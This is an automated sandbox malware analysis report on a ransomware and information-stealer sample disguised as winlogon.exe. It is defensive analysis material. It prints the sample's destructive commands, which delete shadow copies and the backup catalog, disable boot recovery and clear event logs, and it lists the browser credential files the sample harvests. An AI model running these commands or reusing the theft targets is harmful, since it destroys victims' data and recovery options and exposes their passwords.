Analysis Report

Overview

General Information

Joe Sandbox Version:	20.0.0
Analysis ID:	46216
Start time:	21:37:49
Joe Sandbox Product:	CloudBasic
Start date:	12.02.2018
Overall analysis duration:	0h 8m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	winlogon.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 SP1 (with Office 2010 SP2, IE 11, FF 54, Chrome 60, Acrobat Reader DC 17, Flash 26, Java 8.0.1440.1)
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled
Detection:	MAL
Classification:	mal100.evad.spre.rans.spyw.troj.winEXE@34/9@31/10
HCA Information:	Successful, ratio: 97% Number of executed functions: 181 Number of non-executed functions: 171
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 54.9% (good quality ratio 51.4%) Quality average: 79% Quality standard deviation: 29.3%
Cookbook Comments:	Adjust boot time Found application associated with file extension: .exe
Warnings:	Show All Connection to analysis system has been lost Exclude process from analysis (whitelisted): conhost.exe, dllhost.exe Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

All domains contacted by the sample do not resolve. Likely the sample is an old dropper which does no longer work

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample may offer command line options, please run it with the 'Execute binary with arguments' cookbook (it's possible that the command line switches require additional characters like: "-", "/", "--"

Sample tries to load a library which is not present or installed on the analysis machine, adding the library might reveal more behavior

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe

virustotal: Detection: 59%

Perma Link

Antivirus detection for submitted file

Show sources

Source: winlogon.exe

virustotal: Detection: 62%

Perma Link

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D64140 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	1_2_00D64140
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10001D60 GetFileAttributesA,GetTempPathA,GetTempFileNameA,CopyFileA,CryptUnprotectData,HeapAlloc,LocalFree,HeapFree,DeleteFileA,	2_2_10001D60
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_100010C0 StrStrIW,lstrlenW,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,wsprintfA,wsprintfA,CryptDestroyHash,CryptReleaseContext,	2_2_100010C0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10001200 StrStrIW,lstrlenW,lstrlenW,lstrlenW,CryptUnprotectData,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,LocalFree,	2_2_10001200

Spam, unwanted Advertisements and Ransom Demands:

Deletes shadow drive data (may be related to ransomware)

Show sources

Source: unknown	Process created: C:\Windows\System32\vssadmin.exe c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: winlogon.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c%s %s %sServicesActive%s\*...SeShutdownPrivilegec:\Windows\system32\vssadmin.exedelete shadows /all /quietwbadmin.exedelete catalog -quietbcdedit.exe/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled nowevtutil.execl Systemcl SecurityH
Source: _usm.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c%s %s %sServicesActive%s\*...SeShutdownPrivilegec:\Windows\system32\vssadmin.exedelete shadows /all /quietwbadmin.exedelete catalog -quietbcdedit.exe/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled nowevtutil.execl Systemcl SecurityH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: cmd.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: cmd.exe	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quietC:\Windows\system32\cmd.exeWinSta0\Defaulto
Source: cmd.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quieth
Source: cmd.exe	Binary or memory string: ? c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: cmd.exe	Binary or memory string: ?c:\Windows\system32\vssadmin.exe delete shadows /all /quiettemn
Source: cmd.exe	Binary or memory string: 9C:\Windows\system32\cmd.exe/cc:\Windows\system32\vssadmin.exedeleteshadows/all/quietESSOR_LEVEL=6PROCESSOR_REVISION=3f02ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesPSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\;C:\Program Files\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\HERBBL~1\A(0
Source: vssadmin.exe	Binary or memory string: Lc:\Windows\system32\vssadmin.exedeleteshadows/all/quiet,
Source: vssadmin.exe	Binary or memory string: c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: vssadmin.exe	Binary or memory string: C:\Users\user\Desktop\c:\Windows\system32;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\c:\Windows\system32\vssadmin.exec:\Windows\system32\vssadmin.exe delete shadows /all /quietc:\Windows\system32\vssadmin.exe delete shadows /all /quietWinSta0\Default
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete Shadows /Type=ClientAccessible /For=C:
Source: vssadmin.exe	Binary or memory string: vssadmin Delete Shadows
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete Shadows /For=C: /Oldest
Source: vssadmin.exe	Binary or memory string: Example Usage: vssadmin Delete ShadowStorage /For=C: /On=D:
Source: _usm.exe.1.dr	Binary or memory string: C:\Windows\system32\cmd.exe /c%s %s %sServicesActive%s\*...SeShutdownPrivilegec:\Windows\system32\vssadmin.exedelete shadows /all /quietwbadmin.exedelete catalog -quietbcdedit.exe/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled nowevtutil.execl Systemcl SecurityH

May disable shadow drive data (uses vssadmin)

Show sources

Source: unknown	Process created: C:\Windows\System32\vssadmin.exe c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe c:\Windows\system32\vssadmin.exe delete shadows /all /quiet

Networking:

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: 252.0.0.224.in-addr.arpa

Urls found in memory or binary data

Show sources

Source: yegus.exe	String found in binary or memory: file:///C:/jbxinitvm.au3
Source: yegus.exe	String found in binary or memory: file:///C:/jbxinitvm.au3s
Source: yegus.exe	String found in binary or memory: http://certs.starfieldtech.com/repository/1402
Source: yegus.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: yegus.exe	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: yegus.exe	String found in binary or memory: http://crl.thawte.com/ThawtePCA-G3.crl0
Source: yegus.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: yegus.exe	String found in binary or memory: http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$
Source: yegus.exe	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: yegus.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: yegus.exe	String found in binary or memory: http://ocsp.digicert.com0K
Source: yegus.exe	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: yegus.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: yegus.exe	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: yegus.exe	String found in binary or memory: http://s.symcd.com0_
Source: yegus.exe	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0/
Source: yegus.exe	String found in binary or memory: http://t2.symcb.com0A
Source: winlogon.exe, _wjg.exe.1.dr	String found in binary or memory: http://www.sysinternals.com
Source: yegus.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: yegus.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: yegus.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: yegus.exe	String found in binary or memory: https://www.thawte.com/cps0)
Source: yegus.exe	String found in binary or memory: https://www.thawte.com/cps07

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Show sources

Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 252.0.0.224.in-addr.arpa replaycode: Name error (3)

Stealing of Sensitive Information:

Contains functionality to dump credential hashes (LSA Dump)

Show sources

Source: C:\Users\user\AppData\Local\Temp\ucngw.exe

Code function: 3_2_100114D0 LoadLibraryW,RtlInitUnicodeString,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,LocalAlloc,

3_2_100114D0

Contains functionality to steal Chrome passwords

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: \Google\Chrome\User Data\Default\Login Data		2_2_10001FB0
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: \Google\Chrome\User Data\Default\Login Data		2_2_10001FB0

Contains functionality to steal Internet Explorer form passwords

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe

Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2

2_2_10082020

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4ah7hlda.default\cert8.db
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4ah7hlda.default\secmod.db
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4ah7hlda.default\logins.json
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4ah7hlda.default\key3.db

Persistence and Installation Behavior:

Drops PE files

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	File created: C:\Users\HERBBL~1\AppData\Local\Temp\_yig.exe
Source: C:\Users\user\Desktop\winlogon.exe	File created: C:\Users\HERBBL~1\AppData\Local\Temp\_wjg.exe
Source: C:\Users\user\Desktop\winlogon.exe	File created: C:\Users\HERBBL~1\AppData\Local\Temp\ucngw.exe
Source: C:\Users\user\Desktop\winlogon.exe	File created: C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe
Source: C:\Users\user\Desktop\winlogon.exe	File created: C:\Users\HERBBL~1\AppData\Local\Temp\yegus.exe

May use bcdedit to modify the Windows boot settings

Show sources

Source: winlogon.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c%s %s %sServicesActive%s\*...SeShutdownPrivilegec:\Windows\system32\vssadmin.exedelete shadows /all /quietwbadmin.exedelete catalog -quietbcdedit.exe/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled nowevtutil.execl Systemcl SecurityH
Source: _usm.exe	Binary or memory string: bcdedit.exe
Source: _usm.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c%s %s %sServicesActive%s\*...SeShutdownPrivilegec:\Windows\system32\vssadmin.exedelete shadows /all /quietwbadmin.exedelete catalog -quietbcdedit.exe/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled nowevtutil.execl Systemcl SecurityH
Source: cmd.exe	Binary or memory string: 'Abcdedit.exeV
Source: cmd.exe	Binary or memory string: 'Cbcdedit.exe
Source: cmd.exe	Binary or memory string: bcdedit.exe
Source: cmd.exe	Binary or memory string: indows\system32\bcdedit.exe
Source: cmd.exe	Binary or memory string: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: cmd.exe	Binary or memory string: C:\Windows\system32\bcdedit.exeath\bcdedit.exe*}
Source: cmd.exe	Binary or memory string: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures B
Source: cmd.exe	Binary or memory string: 1C:\Windows\system32\bcdedit.exe\??\C:\Windows\system32\bcdedit.exe
Source: cmd.exe	Binary or memory string: >C:\Windows\system32\cmd.exe/cbcdedit.exe/set{default}bootstatuspolicyignoreallfailures&bcdedit/set{default}recoveryenablednoamFiles=C:\Program FilesPSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\;C:\Program Files\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\HERBBL~1\AppData\Local\TempTMP=C:\Users\HERBBL~1\AppData\Local\TempUSERDOMAIN=computerUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowswindows_tracing_flags=3windows_tracing_logfile=C:\BV
Source: cmd.exe	Binary or memory string: C:\Windows\system32\bcdedit.exe
Source: cmd.exe	Binary or memory string: InternalNamebcdedit.exe
Source: cmd.exe	Binary or memory string: OriginalFilenamebcdedit.exej%
Source: cmd.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: cmd.exe	Binary or memory string: C:\Users\user\Desktopbcdedit.exeB
Source: cmd.exe	Binary or memory string: indows\system32\bcdedit.exe.0\7
Source: cmd.exe	Binary or memory string: C:\Windows\system32\bcdedit.exeath\bcdedit*B
Source: cmd.exe	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled noC:\Windows\system32\cmd.exeWinSta0\Defaultf
Source: cmd.exe	Binary or memory string: C:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled noa
Source: cmd.exe	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\bC:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled nobcdedit /set {default} recoveryenabled nodWinSta0\Default=C:=C:\Users\user\Desktop=ExitCode=00000000=Z:=Z:\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeFP_NO_HOST_CHECK=NOHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=1OS=Windows_NTPath=C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_IDENTIFIER=x
Source: bcdedit.exe	Binary or memory string: Microsoft.Windows.OSLoader.BCDEdit,processorArchitecture="x86",type="win32",version="5.1.0.0"C:\Windows\system32\bcdedit.exeGsHd(
Source: bcdedit.exe	Binary or memory string: @bcdedit.exe/set{default}bootstatuspolicyignoreallfailuresackburnLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=1OS=Windows_NTPath=C:
Source: bcdedit.exe	Binary or memory string: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: bcdedit.exe	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures WinSta0\Default
Source: bcdedit.exe	Binary or memory string: \Device\HarddiskVolume2\Windows\System32\bcdedit.exe;##
Source: bcdedit.exe	Binary or memory string: bcdedit.exeBC:\Users\user\Desktop\
Source: bcdedit.exe	Binary or memory string: Microsoft.Windows.OSLoader.BCDEdit,processorArchitecture="x86",type="win32",version="5.1.0.0"C:\Windows\system32\bcdedit.exeGsHd(
Source: bcdedit.exe	Binary or memory string: bcdedit.exeBC:\Users\user\Desktop\
Source: bcdedit.exe	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled nobcdedit /set {default} recoveryenabled noWinSta0\Defaulti
Source: bcdedit.exe	Binary or memory string: hj4`=\Device\HarddiskVolume2\Windows\System32\bcdedit.exe;##
Source: _usm.exe.1.dr	Binary or memory string: C:\Windows\system32\cmd.exe /c%s %s %sServicesActive%s\*...SeShutdownPrivilegec:\Windows\system32\vssadmin.exedelete shadows /all /quietwbadmin.exedelete catalog -quietbcdedit.exe/set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled nowevtutil.execl Systemcl SecurityH

Uses bcdedit to modify the Windows boot settings

Show sources

Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D643A0 GetVersionExW,LoadLibraryW,GetProcAddress,SHGetKnownFolderPath,

1_2_00D643A0

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D6B696 push ecx; ret	1_2_00D6B6A9
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_013348F6 push ecx; ret	2_2_01334909
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10083436 push ecx; ret	2_2_10083449
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C51CE6 push ecx; ret	3_2_00C51CF9
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10001966 push ecx; ret	3_2_10001979
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Code function: 4_2_00142CC5 push ecx; ret	4_2_00142CD8

Spreading:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 1_2_00D75F8F FindFirstFileExW,	1_2_00D75F8F
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_01339A82 FindFirstFileExW,	2_2_01339A82
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Code function: 2_2_10088620 FindFirstFileExA,	2_2_10088620
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_00C5850A FindFirstFileExW,	3_2_00C5850A
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Code function: 3_2_10008EEC FindFirstFileExA,	3_2_10008EEC
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Code function: 4_2_00141441 wsprintfW,FindFirstFileW,GetProcessHeap,PathAppendW,GetProcessHeap,HeapAlloc,PathAppendW,PathAppendW,StrCmpCW,StrCmpCW,StrCmpCW,CreateFileW,GetFileSizeEx,CloseHandle,GetProcessHeap,HeapFree,FindNextFileW,FindClose,	4_2_00141441

Creates COM task schedule object (often to register a task for autostart)

Show sources

Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Found PSEXEC tool (often used for remote process execution)

Show sources

Source: winlogon.exe	String found in binary or memory: PsExec executes a program on a remote system, where remotely executed console
Source: _wjg.exe.1.dr	String found in binary or memory: PsExec executes a program on a remote system, where remotely executed console

System Summary:

Submission file is bigger than most known malware samples

Show sources

Source: winlogon.exe

Static file information: File size 1861632 > 1048576

PE file has a big raw section

Show sources

Source: winlogon.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x195c00

PE file contains a mix of data directories often seen in goodware

Show sources

Source: winlogon.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
